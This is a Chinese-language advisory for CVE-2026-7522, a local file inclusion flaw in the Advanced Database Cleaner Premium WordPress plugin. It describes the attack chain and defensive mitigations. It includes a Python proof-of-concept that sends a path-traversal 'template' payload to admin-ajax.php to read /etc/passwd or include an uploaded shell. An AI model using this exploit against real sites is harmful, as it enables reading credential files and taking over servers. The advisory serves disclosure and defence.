CVE-2026-7522 WP Advanced Database Cleaner LFI漏洞

漏洞信息

漏洞编号

CVE-2026-7522

漏洞类型

本地文件包含 (LFI)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Advanced Database Cleaner – Premium (WordPress Plugin)

漏洞概述

WordPress插件Advanced Database Cleaner Premium存在严重的本地文件包含（LFI）漏洞。该漏洞影响4.1.0及以下版本，根源在于未正确过滤'template'参数。经过身份验证的攻击者，仅需具备订阅者级别的低权限，即可利用此漏洞包含并执行服务器上的任意.php文件。攻击者可结合文件上传功能或利用现有文件，导致绕过访问控制、获取敏感数据甚至完全控制服务器，风险极高。

技术细节

该漏洞主要由WordPress插件Advanced Database Cleaner Premium中的不安全文件处理机制引起。在特定功能调用中，插件直接接收用户通过POST或GET请求提交的'template'参数，并将其用于文件路径拼接，未进行充分的安全校验或路径遍历防护。攻击者首先需要获取一个低权限（如订阅者）的账户凭证，这在WordPress站点中通常很容易实现。随后，攻击者构造恶意请求，将'template'参数指向服务器上存在的PHP文件（如日志文件、临时上传文件或其他可写目录下的文件）。由于PHP的include或require特性，服务器会解析并执行该文件中的PHP代码。如果攻击者能够预先上传包含恶意代码的.php文件，或者利用服务器上的其他文件包含操作，即可实现远程代码执行（RCE）。此漏洞的危害在于其利用门槛低（仅需低权限）且后果严重（直接接管服务器权限）。

攻击链分析

STEP 1

侦察

攻击者识别目标WordPress站点是否安装了Advanced Database Cleaner Premium插件，并确认版本在4.1.0及以下。

STEP 2

获取初始访问

攻击者在目标站点注册一个普通用户账户，或通过其他方式获取订阅者（Subscriber）级别及以上的有效身份凭证。

STEP 3

漏洞利用

攻击者使用获取的凭证向服务器发送请求，在请求参数中注入恶意的'template'参数，指向服务器上的敏感文件（如wp-config.php）或恶意上传的.php文件。

STEP 4

代码执行

服务器由于存在LFI漏洞，将攻击者指定的文件包含并执行。如果是恶意PHP文件，攻击者即可在服务器端执行任意系统命令。

STEP 5

维持权限与影响

攻击者通过执行的后门代码维持对服务器的控制，窃取数据库数据、进一步提权或部署勒索软件。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# PoC for CVE-2026-7522
# This script demonstrates the exploitation of the LFI vulnerability.
# Attacker needs valid subscriber credentials.

import requests

target_url = "http://example.com/wp-admin/admin-ajax.php"

# Attacker's cookies (Subscriber level)
cookies = {
    "wordpress_logged_in_xxx": "valid_session_cookie_here"
}

# The vulnerable parameter 'template'
# Pointing to a sensitive file (e.g., wp-config.php or an uploaded shell)
payload_data = {
    "action": "adc_ajax_action", 
    "template": "../../../../../../../../etc/passwd" 
    # Or path to a malicious PHP file: "../../wp-content/uploads/shell.php"
}

try:
    response = requests.post(target_url, data=payload_data, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text[:500]) # Print first 500 chars
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Advanced Database Cleaner – Premium <= 4.1.0

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用该插件。检查服务器日志中是否存在针对'template'参数的可疑请求，并排查服务器上是否已被上传了恶意的.php文件。通过配置服务器（如.htaccess或nginx.conf），禁止Web目录下的非核心目录执行PHP代码，以阻断LFI转化为RCE的路径。